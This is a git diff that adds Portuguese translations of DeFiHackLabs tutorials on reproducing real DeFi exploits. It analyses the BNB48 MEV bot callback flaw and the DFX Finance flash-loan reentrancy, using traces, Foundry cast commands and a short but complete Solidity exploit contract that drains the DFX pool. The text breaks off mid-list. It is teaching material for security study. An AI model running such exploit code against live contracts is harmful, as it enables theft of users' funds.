+ +- Escrevendo o POC + - Após analisar o processo de ataque acima, a lógica de escrever o POC é chamar o `pancakeCall` do contrato do Bot MEV e, em seguida, trazer os parâmetros correspondentes. A chave é o `_data` para especificar o endereço da carteira de recebimento e, em seguida, o contrato deve ter as funções token0 e token1 para satisfazer a lógica do contrato. Você pode tentar escrevê-lo você mesmo. + - Resposta: [POC](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/BNB48MEVBot_exp.sol). + +
+Capa +
+ +## Aprendizado estendido +- Rastreamento do Foundry + - As funções de rastreamento da transação também podem ser listadas usando o Foundry, como segue: + + `cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --rpc-url https://rpc.ankr.com/bsc` + +
+Capa +
+ +- Depuração do Foundry + - Você também pode usar o Foundry para depurar a transação, como segue: + + `cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --debug --rpc-url https://rpc.ankr.com/bsc` + +
+Capa +
+ +## Recursos + +[Flashbots: Kings of The Mempool](https://noxx.substack.com/p/flashbots-kings-of-the-mempool?utm_source=profile&utm_medium=reader2) + +[MEV Markets Part 1: Proof of Work](https://mirror.xyz/0xshittrader.eth/WiV8DM3I6abNMVsXf-DqioYb2NglnfjmM-zSsw2ruG8) + +[MEV Markets Part 2: Proof of Stake](https://mirror.xyz/0xshittrader.eth/c6J_PCK87K3joTWmLEtG6qVN6BFXLBZxQniReYSEjLI) + +[MEV Markets Part 3: Payment for Order Flow](https://mirror.xyz/0xshittrader.eth/f2VSuoZ91vAbCv82MtWM-Gosyf_DeUXfPlDx3EYV3RM) +. + diff --git a/Languages/pt-br/Topics/Onchain_debug/04_write_your_own_poc/readme.md b/Languages/pt-br/Topics/Onchain_debug/04_write_your_own_poc/readme.md new file mode 100644 index 000000000..7169e10aa --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/04_write_your_own_poc/readme.md @@ -0,0 +1,74 @@ +# Depuração de Transações OnChain: 4. Escreva seu próprio POC - MEV Bot + +Autor: [Sun](https://twitter.com/1nf0s3cpt) + +## Passo a passo para escrever um POC - Exemplo com MEV Bot (BNB48) +- Contexto + - Em 13 de setembro de 2022, um MEV Bot foi atacado e os atacantes exploraram uma vulnerabilidade para transferir os ativos do contrato, resultando em uma perda de cerca de $140 mil. + + - Os atacantes enviaram transações privadas através do nó de validação BNB48, semelhante ao Flashbot, que não coloca as transações na mempool pública para evitar ataques de front-running. + +- Análise + - O ataque foi realizado através desta [TXID](https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2). O contrato do MEV Bot não é de código aberto, então como isso foi explorado? + - Analisando através do [phalcon](https://phalcon.blocksec.com/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2), podemos ver que nesta transação, o MEV Bot transferiu 6 tipos de ativos para a carteira do atacante. Como isso foi possível? +![Imagem](https://user-images.githubusercontent.com/52526645/211201079-e7c5cc3b-64f8-4146-ab0e-7dd46b535cc9.png) + - Vamos analisar o fluxo de chamadas de função, onde podemos ver que a função `pancakeCall` foi chamada 6 vezes. + - De: `0xee286554f8b315f0560a15b6f085ddad616d0601` + - Contrato do atacante: `0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1` + - Contrato do MEV Bot: `0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d` + ![Imagem](https://user-images.githubusercontent.com/52526645/211201456-8b6f7bca-677d-40a2-b81b-fd6af18f94fd.png) + - Vamos analisar uma das chamadas de `pancakeCall`. Podemos ver que o contrato do atacante leu o valor de `token0()` como BSC-USD e, em seguida, transferiu BSC-USD para a carteira do atacante. Com isso, podemos concluir que o atacante tinha permissão ou explorou uma vulnerabilidade para transferir os ativos do contrato do MEV Bot. Agora, precisamos descobrir como o atacante fez isso. + ![Imagem](https://user-images.githubusercontent.com/52526645/211201744-9895803a-5f72-4f14-b147-b67b204bee75.png) + - Como mencionado anteriormente, o contrato do MEV Bot não é de código aberto. Portanto, podemos usar a ferramenta de descompilação [Dedaub](https://library.dedaub.com/decompile), mencionada na [primeira aula](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools), para analisar o contrato e ver se encontramos algo. Primeiro, vamos colar os bytecodes do contrato no Dedaub para descompilá-lo. Na imagem abaixo, podemos ver que a função `pancakeCall` tem permissão pública, o que significa que qualquer pessoa pode chamá-la. É normal que a função de callback em um empréstimo relâmpago seja pública e não deve ser um problema. No entanto, podemos ver que, na parte destacada em vermelho, há uma chamada para a função `0x10a`. Vamos continuar analisando. + ![Imagem](https://user-images.githubusercontent.com/52526645/211202573-b4a4847d-a617-42c8-84d0-0f2dbd38a632.png) + - A lógica da função `0x10a` é mostrada na imagem abaixo. Podemos ver que, na parte destacada em vermelho, o contrato lê o token0 do contrato do atacante e, em seguida, o utiliza como parâmetro na função de transferência `transfer`. O primeiro parâmetro da função é o endereço do destinatário `address(MEM[varg0.data])`, que é controlado pelo `varg3 (_data)` do `pancakeCall`. Portanto, o problema crítico da vulnerabilidade está aqui. + +
+Capa +
+ + - Vamos voltar e analisar o payload da chamada `pancakeCall`. Os primeiros 32 bytes do `_data` são o endereço da carteira do destinatário. + +
+Capa +
+ +- Desenvolvendo o POC + - Com base na análise do fluxo de ataque acima, o desenvolvimento do contrato POC envolve chamar a função `pancakeCall` do contrato do MEV Bot e fornecer os parâmetros corretos. A chave está no `_data`, onde especificamos o endereço da carteira do destinatário. Além disso, o contrato deve ter as funções `token0` e `token1` para atender à lógica do contrato. Você pode tentar escrever o contrato por conta própria. + - Resposta: [POC](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/BNB48MEVBot_exp.sol) para referência. + +
+Capa +
+ +## Estudo Avançado +- Rastreamento Foundry + - O Foundry também pode listar os rastros de função dessa transação, usando o seguinte método: + + `cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --rpc-url https://rpc.ankr.com/bsc` + +
+Capa +
+ +- Depuração Foundry + - Também é possível usar o Foundry para depurar a transação, seguindo o método abaixo: + + `cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --debug --rpc-url https://rpc.ankr.com/bsc` + +
+Capa +
+ +## Recursos de aprendizado + +[Flashbots: Kings of The Mempool](https://noxx.substack.com/p/flashbots-kings-of-the-mempool?utm_source=profile&utm_medium=reader2) + +[MEV Markets Part 1: Proof of Work](https://mirror.xyz/0xshittrader.eth/WiV8DM3I6abNMVsXf-DqioYb2NglnfjmM-zSsw2ruG8) + +[MEV Markets Part 2: Proof of Stake](https://mirror.xyz/0xshittrader.eth/c6J_PCK87K3joTWmLEtG6qVN6BFXLBZxQniReYSEjLI) + +[MEV Markets Part 3: Payment for Order Flow](https://mirror.xyz/0xshittrader.eth/f2VSuoZ91vAbCv82MtWM-Gosyf_DeUXfPlDx3EYV3RM) + +[Ethers极简入门: 25. Flashbots](https://github.com/WTFAcademy/WTF-Ethers/tree/main/25_Flashbots) + diff --git a/Languages/pt-br/Topics/Onchain_debug/05_write_your_own_poc/en/readme.md b/Languages/pt-br/Topics/Onchain_debug/05_write_your_own_poc/en/readme.md new file mode 100644 index 000000000..904285698 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/05_write_your_own_poc/en/readme.md @@ -0,0 +1,198 @@ +# Depuração de Transações OnChain: 5. Escreva sua própria PoC (Reentrancy) + +Autor: [gbaleeee](https://twitter.com/gbaleeeee) + +Tradução: [Spark](https://twitter.com/SparkToday00) + +Neste artigo, aprenderemos sobre reentrancy, demonstrando um ataque do mundo real e usando o Foundry para realizar testes e reproduzir o ataque. + +## Pré-requisitos +1. Entender os vetores de ataque comuns nos contratos inteligentes. [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs) é um ótimo recurso para começar. +2. Saber como funciona o modelo básico de DeFi e como os contratos inteligentes interagem entre si. + +## O que é um Ataque de Reentrancy + +Fonte: [Reentrancy](https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/) por Consensys. + +O Ataque de Reentrancy é um vetor de ataque popular. Acontece quase todos os meses se olharmos para o banco de dados do [DeFiHackLabs](https://github.com/SunWeb3Sec/DeFiHackLabs). Para mais informações, há outro ótimo repositório que mantém uma coleção de [reentrancy-attacks](https://github.com/pcaversaccio/reentrancy-attacks). + +Em resumo, se uma função invoca uma chamada externa não confiável, pode haver um risco de ataque de reentrancy. + +Os Ataques de Reentrancy podem ser identificados principalmente em três tipos: +1. Reentrancy de Função Única +2. Reentrancy entre Funções +3. Reentrancy entre Contratos + +## PoC Prática - DFX Finance + +- Fonte: [Alerta Pckshield 11/11/2022](https://twitter.com/peckshield/status/1590831589004816384) + > Parece que o pool DEX (chamado Curve) da @DFXFinance foi hackeado (com perda de 3000 ETH ou $~4M) devido à falta de proteção adequada contra reentrancy. Aqui está uma transação de exemplo: https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7. Os fundos roubados estão sendo depositados no @TornadoCash. + +- Visão Geral da Transação + + Com base na transação acima, podemos observar informações limitadas no etherscan. Isso inclui informações sobre o remetente (atacante), o contrato do atacante, eventos durante a transação, etc. A transação é rotulada como uma "Transação MEV" e "Flashbots", indicando que o atacante tentou evitar o impacto dos bots de front-run. + + ![image](https://user-images.githubusercontent.com/53768199/215320542-a7798698-3fd4-4acf-90bf-263d37379795.png) + +- Análise da Transação + Podemos usar o [Phalcon da Blocksec](https://phalcon.blocksec.com/tx/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7) para fazer uma investigação mais aprofundada. + +- Análise de Saldo + Na seção *Mudanças de Saldo*, podemos ver a alteração nos fundos com esta transação. O contrato de ataque (destinatário) coletou uma grande quantidade de tokens `USDC` e `XIDR` como lucro, e o contrato chamado `dfx-xidr-v2` perdeu uma grande quantidade de tokens `USDC` e `XIDR`. Ao mesmo tempo, o endereço começando com `0x27e8` também obteve alguns tokens `USDC` e `XIDR`. De acordo com a investigação deste endereço, este é o endereço da carteira de assinatura múltipla de governança da DFX Finance. + + ![image](https://user-images.githubusercontent.com/53768199/215320922-72207a7f-cfac-457d-b69e-3fddc043206b.png) + + Com base nas observações mencionadas acima, a vítima é o contrato `dfx-xidr-v2` da DFX Finance e os ativos perdidos são os tokens `USDC` e `XIDR`. O endereço de assinatura múltipla da DFX também recebe alguns tokens durante o processo. Com base em nossa experiência, isso deve estar relacionado à lógica de taxas. + +- Análise do Fluxo de Ativos + Podemos usar outra ferramenta da Blocksec chamada [metasleuth](https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7) para analisar o fluxo de ativos. + + ![image](https://user-images.githubusercontent.com/53768199/215321213-7ead5043-1410-4ab6-b247-1e710d931fe8.png) + + Com base no gráfico acima, o atacante pegou emprestado uma grande quantidade de tokens `USDC` e `XIDR` do contrato vítima nos passos [1] e [2]. Nos passos [3] e [4], os ativos emprestados foram enviados de volta para o contrato vítima. Depois disso, tokens `dfx-xidr-v2` são criados para o atacante no passo [5] e a carteira de assinatura múltipla da DFX recebe a taxa tanto em `USDC` quanto em `XIDR` nos passos [6] e [7]. No final, os tokens `dfx-xidr-v2` são queimados do endereço do atacante. + + Em resumo, o fluxo de ativos é: + 1. O atacante pegou emprestado tokens `USDC` e `XIDR` do contrato vítima. + 2. O atacante enviou os tokens `USDC` e `XIDR` de volta para o contrato vítima. + 3. O atacante criou tokens `dfx-xidr-v2`. + 4. A carteira de assinatura múltipla da DFX recebeu tokens `USDC` e `XIDR`. + 5. O atacante queimou tokens `dfx-xidr-v2`. + + Essas informações podem ser verificadas com a análise de rastreamento a seguir. + +- Análise de Rastreamento + + Vamos observar a transação no nível de expansão 2. + + ![image](https://user-images.githubusercontent.com/53768199/215321768-6aa93999-9a77-4af5-b758-dd91f7dc3973.png) + + O fluxo de execução completo da transação de ataque pode ser visualizado como: + + 1. O atacante invocou a função `0xb727281f` para o ataque. + 2. O atacante chamou `viewDeposit` no contrato `dfx-xidr-v2` via `staticcall`. + 3. O atacante acionou a função `flash` no contrato `dfx-xidr-v2` com `call`. Vale ressaltar que neste rastreamento, a função `0xc3924ed6` no contrato de ataque foi usada como um retorno de chamada. + + ![image](https://user-images.githubusercontent.com/53768199/215322039-59a46e1f-c8c5-449f-9cdd-5bebbdf28796.png) + + 4. O atacante chamou a função `withdraw` no contrato `dfx-xidr-v2`. + +- Análise Detalhada + + A intenção do atacante ao chamar a função viewDeposit no primeiro passo pode ser encontrada no comentário da função `viewDeposit`. O atacante deseja obter o número de tokens `USDC` e `XIDR` para criar 200_000 * 1e18 tokens `dfx-xidr-v2`. + + ![image](https://user-images.githubusercontent.com/53768199/215324532-b441691f-dae4-4bb2-aadb-7bd93d284270.png) + + E no próximo passo, o ataque usa o valor de retorno da função `viewDeposit` como um valor semelhante para a entrada da invocação da função `flash` (o valor não é exatamente o mesmo, mais detalhes depois). + + ![image](https://user-images.githubusercontent.com/53768199/215329296-97b6af11-32aa-4d0a-a7c4-019f355be04d.png) + + O atacante invoca a função `flash` no contrato vítima como o segundo passo. Podemos obter algumas informações do código: + + ![image](https://user-images.githubusercontent.com/53768199/215329457-3a48399c-e2e1-43a8-ab63-a89375fbc239.png) + + Como você pode ver, a função `flash` é semelhante ao empréstimo flash no Uniswap V2. O usuário pode pegar emprestado ativos por meio dessa função. E a função `flash` tem uma função de retorno de chamada para o usuário. O código é: + ```solidity + IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); + ``` + Essa invocação corresponde à função de retorno de chamada no contrato do atacante na seção de análise de rastreamento anterior. Se fizermos a verificação de hash de 4 bytes, é `0xc3924ed6`. + + ![image](https://user-images.githubusercontent.com/53768199/215329899-a6f2cc00-f2ac-49c8-b4df-38bb24663f37.png) + + ![image](https://user-images.githubusercontent.com/53768199/215329919-bbeb557d-41d0-47fb-bdf8-321e5217854e.png) + + O último passo é chamar a função `withdraw`, que irá queimar o token estável (`dfx-xidr-v2`) e retirar os ativos emparelhados (`USDC` e `XIDR`). + + ![image](https://user-images.githubusercontent.com/53768199/215330132-7b54bf35-3787-495a-992d-ac2bcabb97d9.png) + +- Implementação da PoC + + Com base na análise acima, podemos implementar o esqueleto da PoC abaixo: + + ```solidity + contract EXP { + uint256 amount; + function testExploit() public{ + uint[] memory XIDR_USDC = new uint[](2); + XIDR_USDC[0] = 0; + XIDR_USDC[1] = 0; + ( , XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18); + dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee + dfx.withdraw(amount, block.timestamp + 60); + } + + function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{ + /* + xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + */ + } + } + ``` + É provável que surja a pergunta de como um atacante rouba ativos com a função `withdraw` em um empréstimo flash. Obviamente, esta é a única parte em que o atacante pode trabalhar. Agora vamos mergulhar na função de retorno de chamada: + + ![image](https://user-images.githubusercontent.com/53768199/215330695-1b1fa612-4f01-4c6a-a5be-7324f464ecb1.png) + + Como você pode ver, o atacante chamou a função `deposit` no contrato vítima e receberá os ativos numeraire que o pool suporta e criará tokens de curva. Como mencionado no gráfico acima, `USDC` e `XIDR` são enviados para a vítima via `transferFrom`. + + ![image](https://user-images.githubusercontent.com/53768199/215330576-d15642f7-5819-4e83-a8c8-1d3a48ad8c6d.png) + + Neste ponto, sabe-se que a conclusão do empréstimo flash é determinada verificando se os ativos de token correspondentes no contrato são maiores ou iguais ao estado antes da execução da função de retorno de chamada do empréstimo flash. E a função `deposit` fará essa validação completa. + + ```solidity + require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned'); + require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned'); + ``` + + Deve-se notar que o atacante preparou alguns tokens `USDC` e `XIDR` para o mecanismo de taxa de empréstimo flash antes do ataque. É por isso que o depósito do atacante é relativamente maior do que o valor emprestado. Portanto, o valor total para a invocação de `deposit` é o valor emprestado com o empréstimo flash mais a taxa. A validação na função `flash` pode ser passada com isso. + + Como resultado, o atacante invocou `deposit` na função de retorno de chamada do empréstimo flash, contornou a validação no empréstimo flash e deixou o registro para o depósito. Após todas essas operações, o atacante retirou os tokens. + + Em resumo, todo o fluxo de ataque é: + 1. Prepare alguns tokens `USDC` e `XIDR` com antecedência. + 2. Use `viewDeposit()` para obter o número de ativos para posterior `deposit()`. + 3. Faça um flash de tokens `USDC` e `XIDR` com base no valor de retorno no passo 2. + 4. Invoque a função `deposit()` na função de retorno de chamada do empréstimo flash. + 5. Como temos um registro de depósito no passo anterior, agora retire os tokens. + + A implementação completa da PoC: + ```solidity + contract EXP { + uint256 amount; + function testExploit() public{ + uint[] memory XIDR_USDC = new uint[](2); + XIDR_USDC[0] = 0; + XIDR_USDC[1] = 0; + ( , XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18); + dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee + dfx.withdraw(amount, block.timestamp + 60); + } + + function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{ + (amount, ) = dfx.deposit(200_000 * 1e18, block.timestamp + 60); + } + } + ``` + + O código mais detalhado pode ser encontrado no repositório DefiHackLabs: [DFX_exp.sol](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/DFX_exp.sol) + +- Verificar Fluxo de Fundos + + Agora, podemos verificar o gráfico de fluxo de ativos com os eventos de token durante a transação. + + ![image](https://user-images.githubusercontent.com/53768199/215331469-e1edd9b4-5147-4f82-9e38-64edce3cc91f.png) + + No final da função `deposit`, tokens `dfx-xidr-v2` foram criados para o atacante. + + ![image](https://user-images.githubusercontent.com/53768199/215331545-9730e5b0-564d-45d8-b169-3b7c8651962f.png) + + Na função `flash`, o evento de transferência mostra a coleta de taxa (`USDC` e `XIDR`) para a carteira de assinatura múltipla da DFX. + + ![image](https://user-images.githubusercontent.com/53768199/215331819-d80a1775-4056-4ddd-9083-6f5241d07213.png) + + A função `withdraw` queimou os tokens `dfx-xidr-v2` que foram criados nos passos anteriores. + +- Resumo + + O ataque de reentrancy na DFX Finance é um típico ataque de reentrancy entre funções, onde o atacante completa a reentrancy chamando a função `deposit` na função de retorno de chamada do empréstimo flash. + +Vale mencionar que a técnica deste ataque corresponde exatamente à quarta pergunta no CTF damnvulnerabledefi [Side Entrance. Se os desenvolvedores do projeto tivessem feito isso com cuidado antes, talvez esse ataque não tivesse acontecido 🤣. Em dezembro do mesmo ano, o projeto [Defrost](https://github.com/SunWeb3Sec/DeFiHackLabs#20221223---defrost---reentrancy) também foi atacado devido a um problema semelhante. + diff --git a/Languages/pt-br/Topics/Onchain_debug/05_write_your_own_poc/readme.md b/Languages/pt-br/Topics/Onchain_debug/05_write_your_own_poc/readme.md new file mode 100644 index 000000000..0c2bd3356 --- /dev/null +++ b/Languages/pt-br/Topics/Onchain_debug/05_write_your_own_poc/readme.md @@ -0,0 +1,172 @@ +# Depuração de Transações OnChain: 5. Escreva seu próprio PoC (Reentrância) + +Autor: [gbaleeee](https://twitter.com/gbaleeeee) + +Neste tutorial, vamos analisar um caso real de ataque de reentrância e guiá-lo passo a passo na criação de um PoC de reprodução usando o framework Foundry. + +## Conhecimentos prévios necessários antes de escrever um PoC de reprodução + +1. Familiaridade com os tipos comuns de vulnerabilidades em contratos inteligentes. Você pode praticar usando o [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs) como referência. +2. Compreensão de como a infraestrutura básica do DeFi funciona e como os contratos inteligentes interagem entre si. + +## Introdução aos conceitos relacionados a ataques de reentrância + +Um artigo da Consensys sobre ataques de reentrância: [Reentrancy](https://consensys.github.io/smart-contract-best-practices/attacks/reentrancy/) + +Os ataques de reentrância são amplamente conhecidos no mundo das criptomoedas e ocorrem com frequência nos contratos DeFi. Você pode encontrar vários casos de ataques de reentrância no repositório DeFiHackLabs. Além disso, há um projeto interessante no GitHub chamado [reentrancy-attacks](https://github.com/pcaversaccio/reentrancy-attacks), que reúne casos reais de ataques de reentrância. + +Em resumo, um ataque de reentrância ocorre quando uma função chama um contrato não confiável externo. + +Atualmente, os ataques de reentrância podem ser divididos em três tipos: +1. Reentrância em uma única função (Single Function Reentrancy) +2. Reentrância entre funções (Cross-Function Reentrancy) +3. Reentrância entre contratos (Cross-Contract Reentrancy) + +## Passo a passo para escrever um PoC - Usando o DFX Finance como exemplo + +- Fonte de informação + Em 11 de novembro de 2022, de acordo com um tweet da Peckshield, o pool DEX do DFX Finance foi atacado e sofreu uma perda de cerca de $4 milhões devido à falta de proteção contra reentrância. Uma das transações relacionadas ao ataque pode ser encontrada [aqui](https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7). + +- Visão geral da transação + Ao analisar a transação no Etherscan, podemos obter algumas informações limitadas, como o remetente da transação, o contrato chamado e os eventos emitidos durante a transferência de tokens. No entanto, é importante observar que essa transação foi marcada como uma transação MEV (Miner Extractable Value) e Flashbots, o que indica que o atacante tomou medidas para evitar que sua transação de ataque fosse "front-run" por bots. + + ![image](https://user-images.githubusercontent.com/53768199/215320542-a7798698-3fd4-4acf-90bf-263d37379795.png) + + +- Análise da transação + Para uma análise mais aprofundada dessa transação de ataque, podemos usar a ferramenta de análise [Phalcon](https://phalcon.blocksec.com/tx/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7) da equipe BlockSec. + +- Análise de saldo + Na seção "Balance Changes", podemos ver as mudanças de saldo resultantes dessa transação. O contrato atacado recebeu uma grande quantidade de tokens USDC e XIDR, enquanto o contrato "dfx-xidr-v2" do DFX Finance perdeu uma grande quantidade desses tokens. Além disso, um endereço começando com "0x27e8" também recebeu alguns tokens USDC e XIDR. Após investigar esse endereço, descobrimos que ele é o endereço da carteira multiassinatura do projeto DFX Finance. + + ![image](https://user-images.githubusercontent.com/53768199/215320922-72207a7f-cfac-457d-b69e-3fddc043206b.png) + + Com base nas mudanças de saldo, podemos concluir que o ataque foi direcionado ao contrato "dfx-xidr-v2" do DFX Finance, onde os tokens USDC e XIDR foram roubados. Além disso, o endereço da carteira multiassinatura do DFX Finance também recebeu alguns tokens USDC e XIDR durante o ataque, o que provavelmente ocorreu devido à cobrança de taxas durante a interação entre os contratos. + +- Fluxo de fundos + Antes de analisar a transação em mais detalhes, podemos usar outra ferramenta da equipe BlockSec, o [metasleuth](https://metasleuth.io/result/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7), para analisar o fluxo de tokens nessa transação de ataque. + ![image](https://user-images.githubusercontent.com/53768199/215321213-7ead5043-1410-4ab6-b247-1e710d931fe8.png) + Com base nas informações mostradas no gráfico, o endereço marcado como "exploiter" emitiu uma grande quantidade de tokens USDC e XIDR no passo 1 e 2, retirou esses tokens do contrato atacado e, em seguida, no passo 3 e 4, enviou os tokens USDC e XIDR de volta para o contrato atacado. Em seguida, o contrato "dfx-xidr-v2" emitiu tokens para o endereço do atacante (0x27e8...) e a carteira multiassinatura do DFX Finance também recebeu tokens USDC e XIDR. Por fim, os tokens "dfx-xidr-v2" foram enviados para o endereço 0x0 para serem destruídos. + Podemos resumir o fluxo de tokens durante o ataque da seguinte forma: + + 1. Retirada de tokens USDC e XIDR do contrato atacado + 2. Envio dos tokens USDC e XIDR de volta para o contrato atacado + 3. Emissão de tokens "dfx-xidr-v2" para o atacante + 4. Recebimento de tokens USDC e XIDR pela carteira multiassinatura do DFX Finance + 5. Envio dos tokens "dfx-xidr-v2" para o endereço 0x0 para destruição + + Essas informações serão analisadas e verificadas na próxima etapa, a análise do rastreamento de chamadas. + +- Análise do rastreamento de chamadas + Com o nível de detalhe definido como 2, podemos observar o fluxo de chamadas de função dessa transação. + + ![image](https://user-images.githubusercontent.com/53768199/215321768-6aa93999-9a77-4af5-b758-dd91f7dc3973.png) + + Podemos ver que o fluxo de execução das funções nessa transação de ataque é o seguinte: + 1. O atacante chama a função com o seletor de função hash 0xb727281f no contrato de ataque e executa o ataque nessa função. + 2. É feita uma chamada de staticcall para a função viewDeposit no contrato "dfx-xidr-v2". + 3. É feita uma chamada de call para a função flash no contrato "dfx-xidr-v2". Vale ressaltar que essa chamada de função inclui uma chamada de retorno para uma função com o seletor de função hash 0xc3924ed6 no contrato de ataque. + + ![image](https://user-images.githubusercontent.com/53768199/215322039-59a46e1f-c8c5-449f-9cdd-5bebbdf28796.png) + + 4. É feita uma chamada de call para a função withdraw no contrato "dfx-xidr-v2". + +- Análise detalhada + Para entender a intenção por trás da primeira chamada da função viewDeposit pelo atacante, podemos examinar o código e os comentários dessa função. O atacante está tentando obter a quantidade necessária de dois tokens para depositar 200.000 * 1e18 tokens da stablecoin (no caso do DFX Finance, o token é o "dfx-xidr-v2"). + + ![image](https://user-images.githubusercontent.com/53768199/215324532-b441691f-dae4-4bb2-aadb-7bd93d284270.png) + + Podemos ver no próximo passo, quando o atacante chama a função flash, que ele passa valores aproximados dos retornos da função viewDeposit como argumentos (explicaremos o motivo posteriormente). + + ![image](https://user-images.githubusercontent.com/53768199/215329296-97b6af11-32aa-4d0a-a7c4-019f355be04d.png) + + Em relação à segunda chamada da função flash no contrato atacado, podemos entender sua função e implementação olhando o código. + + ![image](https://user-images.githubusercontent.com/53768199/215329457-3a48399c-e2e1-43a8-ab63-a89375fbc239.png) + + Podemos ver que a função flash é uma implementação semelhante à funcionalidade de empréstimo relâmpago do Uniswap v2. Os usuários podem usar essa função para obter empréstimos instantâneos do contrato. Além disso, podemos ver que a função flash inclui uma chamada de retorno para a função do chamador, que é a chamada de retorno mencionada anteriormente no rastreamento de chamadas. + ```solidity + IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); + ``` + Essa chamada externa de função corresponde à chamada de retorno para a função do contrato de ataque mencionada anteriormente, que pode ser verificada calculando o hash de 4 bytes dessa função, que é exatamente 0xc3924ed6. + + ![image](https://user-images.githubusercontent.com/53768199/215329899-a6f2cc00-f2ac-49c8-b4df-38bb24663f37.png) + + ![image](https://user-images.githubusercontent.com/53768199/215329919-bbeb557d-41d0-47fb-bdf8-321e5217854e.png) + + Em relação à última chamada da função withdraw, podemos entender sua função e implementação olhando o código e os comentários do contrato atacado. + + ![image](https://user-images.githubusercontent.com/53768199/215330132-7b54bf35-3787-495a-992d-ac2bcabb97d9.png) + +- Escrita do PoC + Agora podemos escrever o esqueleto do código do PoC: + ```solidity + contract EXP { + uint256 amount; + function testExploit() public{ + uint[] memory XIDR_USDC = new uint[](2); + XIDR_USDC[0] = 0; + XIDR_USDC[1] = 0; + ( , XIDR_USDC) = dfx.viewDeposit(200_000 * 1e18); + dfx.flash(address(this), XIDR_USDC[0] * 995 / 1000, XIDR_USDC[1] * 995 / 1000, new bytes(1)); // 5% fee + dfx.withdraw(amount, block.timestamp + 60); + } + + function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{ + /* + xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx + */ + } + } + ``` + Nesse ponto, surge a pergunta: como o atacante conseguiu chamar a função withdraw do contrato atacado apenas com a execução da função flash? A resposta é simples: o único local em que o atacante pode interagir é na chamada de retorno da função flash. Vamos analisar essa chamada de retorno em mais detalhes. + + ![image](https://user-images.githubusercontent.com/53768199/215330695-1b1fa612-4f01-4c6a-a5be-7324f464ecb1.png) + + Podemos ver que o atacante chama a função deposit do contrato atacado nessa etapa. Analisando o código e os comentários dessa função, podemos ver que ela realiza uma operação em que os tokens de ativos necessários para emitir a stablecoin são enviados para o contrato e, em troca, os tokens de curva são recebidos. Combinando isso com a chamada da função transferFrom dos tokens USDC e XIDR mostrada no gráfico, podemos concluir que os tokens USDC e XIDR foram enviados de volta para o contrato atacado por meio da função deposit. + + ![image](https://user-images.githubusercontent.com/53768199/215330576-d15642f7-5819-4e83-a8c8-1d3a48ad8c6d.png) + + Nesse ponto, combinando com a verificação da condição de conclusão da função flash, podemos ver que ela verifica se os saldos dos tokens correspondentes no contrato são maiores ou iguais aos saldos antes da execução da chamada de retorno. + ```solidity + require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned'); + require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned'); + ``` + É importante observar que, para atender aos requisitos relacionados às taxas na função flash, o atacante depositou uma quantidade ligeiramente maior de tokens USDC e XIDR do que a quantidade obtida na função flash. Essa quantidade adicional de tokens será enviada para a carteira multiassinatura do DFX Finance nas etapas subsequentes da função flash. O atacante preparou alguns tokens USDC e XIDR como taxa de flash antes de iniciar o ataque. A quantidade de tokens enviados para a função deposit é a soma dos tokens obtidos na função flash e das taxas de flash. Dessa forma, o atacante pode atender aos requisitos da função flash e, ao mesmo tempo, registrar o estado após a função deposit no contrato atacado para poder executar a função withdraw posteriormente. + + Portanto, o atacante conseguiu realizar o ataque de reentrância chamando a função deposit do contrato atacado durante a chamada de retorno da função flash, atendendo aos requisitos da função flash e registrando o estado após a função deposit no contrato atacado para poder executar a função withdraw posteriormente. + + Com base nessa análise do fluxo de ataque, podemos resumir as etapas do ataque da seguinte forma: + 1. Preparar alguns tokens USDC e XIDR antecipadamente. + 2. Chamar a função viewDeposit para obter a quantidade necessária de tokens para a função deposit. + 3. Com base nos valores obtidos na etapa anterior, chamar a função flash do contrato atacado para obter os tokens USDC e XIDR. + 4. Na chamada 